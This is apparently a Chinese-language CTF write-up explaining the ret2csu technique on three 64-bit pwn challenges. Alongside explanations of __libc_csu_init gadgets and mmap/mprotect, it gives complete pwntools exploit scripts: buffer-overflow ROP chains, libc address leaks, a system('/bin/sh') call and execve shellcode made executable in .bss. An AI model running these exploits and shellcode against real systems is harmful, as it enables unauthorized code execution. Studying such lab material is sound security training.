libc_csu

_libc_csu

1、Ret2csu

这是一个64位的题,开了NX,照常,进ida里瞄瞄它的大体结构是怎样的。
Emmm真是一个异常简洁的main函数

我们发现它有个pwnme函数哦,那就点进去看一下

它里面说了ret2win 的第三个参数(rdx)必须为“0xdeadcafebabebeef”,异或出来是“/bin/cat”,先记住它。然后它还有一堆的赋值为0的语句,手欠点开来看,发现它把got表全置0了,那么我们就完全不用考虑got表。

然后我们会看到还有一个ret2win函数

看到system就知道我们的getshell的关键步骤就在这里了,最后就是要把地址指向ret2win这个函数的,所以下一步就是要去找gadget。

我们知道ret2win的第三个参数是与rdx有关的,但是我们找不到关于rdx的gadget,所以只能另辟他径。
ret2csu这类题目貌似就是通过__libc_csu_init函数的操作(很多gadget的函数)

由函数体关系得知
rbx=0
rbp=1(rbp=rbx+1)
r12:存调用函数的地址
r13:函数的第一个参数
r14:函数的第二个参数
r15:函数的第三个参数(a3/rdx)

然后还有一个很严重的问题,有一个setvbuf函数,据大佬所说是会把rdx的值赋值为0xfffffff,然后无法调用ret2win,所以导致在call处程序出错,无法再执行下去(但是我是在是调不到setvbuf那个函数的地方,下断点也没找到那个赋值语句)然后只能选用一个程序的初始化用的函数地址,

就这两个函数的地址,用这两个函数写入r12里,躲过setvbuf,然后就可以getshell了。

rdx是由r15传值得到的,而刚好下面的一系列操作包括r15的,所以这些gadget可用,上面的函数有个跳转指令,为了使他不跳转,我们可以直接对rbx和rbp赋值,rbx为0,rbp为1。我们先pop这些寄存器,并且赋值,再进入mov,最后在call的地方调用ret2win,所以r12存的应该是ret2win的地址。
理清得差不多了,就开始写exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

from pwn import *
sh = process('./ret2csu')

#bss = 0x0601060
start = 0x0400880#mov rdx, r15;mov rsi, r14;mov edi, r13d;call qword ptr [r12+rbx*8]
end = 0x0400896#add rsp, 8;pop rbx;pop rbp;pop r12/r13/r14/r15
init = 0x0600E10
win = 0x04007B1

payload = "a"*0x20+p64(0)
payload += p64(end)
payload += p64(0)
payload += p64(0)#rbx
payload += p64(1)#rbp
payload += p64(init)#r12
payload += p64(0)#r13
payload += p64(0)#r14
payload += p64(0xdeadcafebabebeef)#r15(rdx)
payload += p64(start)
payload += "a"*56
payload += p64(win)

sh.sendline(payload)
sh.interactive()

运行之后就拿到flag了

level5

Ida里打开main函数


发现这个程序调用了write和read两个函数。
没有system没有“/bin/sh”
看到了熟悉的gadget

再看看在write和read里面,参数分别是存入哪些寄存器

Write

Read

易知第三个参数存入edx(rdx),第二个是esi(rsi),第三个是edi(rdi)
在上面的万用gadget里我们知道rdx的值来自于r13,rsi来自于r14,edi来自于r15d

我们要做的是
(1)、先调用write函数把read/write函数的真实地址泄露出来(运行程序的时候这两个函数被调用了)找到system或者execve的真实地址
(2)、用read函数,把system(“/bin/sh”)写进bss段里(system在bss里,即bss_addr,”/bin/sh”在bss的下一个地址,即bss_addr+8
(3)、调用system函数达成getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *

p = process("./level5")
elf = ELF('./level5')

write_got = elf.got['write']
read_got = elf.got['read']
#bss_base = elf.bss()
bss_addr = 0x0601040

start_addr = 0x0400600 #add rsp, 8 pop rbx,rbp,r12,r13,r14,r15
end_addr = 0x040061A #mov rdx,13 rsi,r14 eid,r15 call
_start = elf.symbols['_start']


def csu(rbx,rbp,r12,r13,r14,r15,_start):
payload = "a"*0x80 +p64(0)
payload += p64(end_addr)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(start_addr)+"a"*0x38
payload += p64(_start)
p.send(payload)
sleep(1)



p.recvuntil('Hello, World\n')

csu(0,1,write_got,8,write_got,1,_start)

write_addr = u64(p.recv(8))
libc = LibcSearcher('write',write_addr)
offest = write_addr-libc.dump('write')
system_addr = libc.dump('system')+offest

p.recvuntil("Hello, World\n")

csu(0,1,read_got,16,bss_addr,0,_start)

p.send(p64(system_addr)+"/bin/sh\x00")

p.recvuntil("Hello, World\n")

csu(0,1,bss_addr,0,0,bss_addr+8,_start)

p.interactive()

运行结果

OJ level5

题目说假设system和execve被禁用,用mmap和mprotect实现getshell。
所以我们需要自己将shellcode写进bss段里。

科普一下mmap和mprotect

我们通过函数mmap来告诉操作系统把哪个文件映射哪块内存去,并且设置我们可能对这块内存的不能操作,就是对文件一样。

1
2
3
4
#include<sys/mman.h>
void* mmap(void* addr, size_t len, int port, int flag, int filedes, off_t off)

返回值:成功返回被映射的内存地址,失败返回MAP_FIALED

参数 addr
这个只有在极少数情况下才不为0,这个参数告诉内核使用addr指定的值来映射指定文件。当指定为0的时候,告诉内核返回什么地址内其自身决定。除非非常了解系统进程模式,或者对当前环境非常了解,否则的话手工指定这个值总是不可取。
参数 len
指定被映射的内存区域的长度。
参数 port
这个参数对应open函数的权限位,我们可以指定为:PROT_READ,映射区可读;PROT_WRITE,映射区可写;PROT_EXEC,映射区可执行;PROT_NONE,映射区不可访问。由于只能映射已经打开的文件,所以这个权限位不能超出open函数指定的权限,比如说在open的时候指定为只读,那就不能在此时指定PORT_WRITE。
参数 flag
这个参数指定了映射区的其它一些属性,权限的属性已经在port中指定。这里可能存在的典型值有:MAP_FIXED,针对addr属性,如果指定这个位,那么要求系统必需在指定的地址映射,这往往是不可取的;MAP_SHARED,此标志说明指定映射区是共享的,意思就是说对内存的操作与对文件的操作是相对应的,它不能与MAP_PRIVATE标志一直使用,因为它们表达的意图是相反的;MAP_PRIVATE,该标志说明映射区是私用的,此时被映射的内存只能被当前里程使用,当进程操作的内存将会产生原文件的一个副本。

mprotect 函数可以更改一个已经存在的映射区的访问权限。

1
2
3
4
#include<sys/mman.h>
int mprotect(void* addr, size_t len, int port)

返回值:成功返回0,失败返回-1

参数 addr
这个参数是mmap返回的数值,此时它就是mprotect作用的范围。
参数 len
指定映射区的长度,它需要与mmap中指定相同。
参数 port
在上面我们已经介绍了port的可能取值,mprotect功能就是把这个port指定的属性施加于相应的映射区上。

好,我们来看题

开了NX
既然题目有提示一个更改权限的函数,那我们就去看一下bss段的权限,应该是禁止执行了的

readelf -S先找到bss的地址

vmmap查看权限,bss段的地址为0x600a88 ,在0x600000-0x601000之间,不可执行

思路:
(1)先通过write函数leak出write(也可以是其他)的真实地址
(2)找到mprotect的真实地址
(3)将shellcode写入bss段
(4)调用mprotect将bss段权限更改
(5)调用bss,getshell

第一段的代码:(leak write_addr,found mprotect_addr)

第二段(shellcode写入bss)

第三段(找两个空的got地址,将mprotect和bss写入方便调用)

最后就直接通过csu调用bss段就可以getshell了,(很奇怪的是本地get不到,远程可以)

两种方法的exp

第一种(写个函数,直接调用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context.log_level = "debug"
sh=remote('pwn2.jarvisoj.com',9884)
#sh = process('./level3_x64')
elf =ELF('./level3_x64')
libc = ELF('./libc-2.19.so')

vul = elf.symbols['vulnerable_function']
#read_plt = elf.symbols['read']
read_got = elf.got['read']
read_libc = libc.symbols['read']
mprotect_libc = libc.symbols['mprotect']
write_libc = libc.symbols["write"]
write_got = elf.got['write']
#write_plt = elf.plt['write']
#bss = 0x0600A88
bss = elf.bss()

#gadget
pop5_addr = 0x04006A6
mov_call = 0x0400690

bss_got = 0x0600A48
mprotect_got = 0x0600A50

def csu(r12,r13,r14,r15,data=False):
data_num=''
payload = "a"*0x88
payload += p64(pop5_addr)+p64(0)+p64(0)+p64(1)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(mov_call)+"a"*0x38
payload += p64(vul)
sh.recvuntil("Input:\n")
sh.send(payload)
if data==True:
data_num = u64(sh.recv(8))
return data_num


read_addr = csu(write_got,8,read_got,1,True)
mprotect_addr = read_addr - read_libc + mprotect_libc
print "mprotect_addr:" + hex(mprotect_addr)

read_got = elf.got['read']
bss = elf.bss()
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
csu(read_got,len(shellcode),bss,0)
sh.send(shellcode)
mprotect_got = 0x0600A50
csu(read_got,8,mprotect_got,0)
sh.send(p64(mprotect_addr))
csu(mprotect_got,7,0x1000,0x600000)
bss_got = 0x0600A48
csu(read_got,8,bss_got,0)
sh.send(p64(bss))
csu(bss_got,0,0,0)


sh.interactive()

第二种(用pop rdi,rsi,rdx来存参)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
sh =remote('pwn2.jarvisoj.com',9884)
#sh = process('./level3_x64')
elf = ELF("./level3_x64")
libc = ELF("./libc-2.19.so")

#write_plt = 0x04004B0
write_plt = elf.plt["write"]
write_got = elf.got["write"]
vul = elf.symbols["vulnerable_function"]
#bss = 0x0600A88
bss_base = elf.bss()

read_plt = elf.symbols["read"]
read_got = elf.got["read"]
write_libc = libc.symbols["write"]
mprotect_libc = libc.symbols["mprotect"]

#gadget
pop_rdi = 0x00000000004006b3 #the first parameter
pop_rsi_rdx = 0x00000000004006b1 #the second and third

pop5_addr = 0x00000000004006A6
mov_call = 0x0000000000400690 #distence 0x1a

payload1 = "a"*0x80 + p64(0)
payload1 += p64(pop_rdi)+p64(1)+p64(pop_rsi_rdx)+p64(write_got)+p64(0)+p64(write_plt)+p64(vul)
sh.recv()
sleep(0.2)
sh.send(payload1)
data = sh.recv(8)
write_addr = u64(data)

libc_dis = write_addr - libc.symbols["write"]
mprotect_addr = libc_dis + libc.symbols["mprotect"]


read_plt = elf.symbols["read"]
bss_base = elf.bss()
pop_rdi = 0x00000000004006b3 #the first parameter
pop_rsi_rdx = 0x00000000004006b1 #the second and third

#shellcode = asm(shellcraft.sh())
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload2 = "a"*0x80 + p64(0)
payload2 += p64(pop_rdi)+p64(0)+p64(pop_rsi_rdx)+p64(bss_base)+p64(0)+p64(read_plt)+p64(vul)
sleep(0.2)
sh.send(payload2)
sleep(0.2)
sh.send(shellcode)

bss_got = 0x0000000000600A48
payload4 = "a"*0x80 + p64(0)
payload4 += p64(pop_rdi)+p64(0)+p64(pop_rsi_rdx)+p64(bss_got)+p64(0)+p64(read_plt)+p64(vul)
sleep(0.2)
sh.send(payload4)
sleep(0.2)
sh.send(p64(bss_base))

mprotect_got = 0x0000000000600A50
payload3 = "a"*0x80 +p64(0)
payload3 += p64(pop_rdi)+p64(0)+p64(pop_rsi_rdx)+p64(mprotect_got)+p64(0)+p64(read_plt)+p64(vul)
sleep(0.2)
sh.send(payload3)
sleep(0.2)
sh.send(p64(mprotect_addr))

pop_rdi = 0x00000000004006b3 #the first parameter
pop_rsi_rdx = 0x00000000004006b1 #the second and third

payload5 = 'a'*0x80+p64(0)
payload5 += p64(pop5_addr) + p64(0) + p64(0) + p64(1) +p64(mprotect_got) + p64(7) +p64(0x1000)+p64(0x600000)
payload5 +=p64(mov_call)
payload5 += 'a'*8 + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(mov_call)
sleep(0.2)
sh.send(payload5)

sh.interactive()

`

权限为7,可读可写可执行,长度为0x1000,改0x600000-0x601000段的执行权限

找了一下午的bug,代码改得有点乱(终于cat到flag也是好心酸的)。